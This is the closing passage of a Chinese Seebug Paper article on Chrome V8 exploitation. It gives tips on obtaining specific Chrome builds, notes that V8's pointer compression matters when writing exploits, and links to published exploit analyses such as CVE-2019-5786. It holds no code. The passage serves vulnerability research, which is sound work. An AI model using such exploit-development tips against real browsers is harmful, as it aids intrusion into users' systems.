在需要特定版本Chrome的时候可以自己去build源码或者去网络上寻找chrome历代发行版收集的网站。
在看exp和自己编写的时候需要注意v8引擎的指针问题,v8做了指针压缩,所以在内存中存访的指针可能和实际数据位置地址有出入。
参考链接:
- https://www.anquanke.com/post/id/194351
- https://blog.exodusintel.com/2019/01/22/exploiting-the-magellan-bug-on-64-bit-chrome-desktop/
- https://blog.exodusintel.com/2019/03/20/cve-2019-5786-analysis-and-exploitation/
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1257/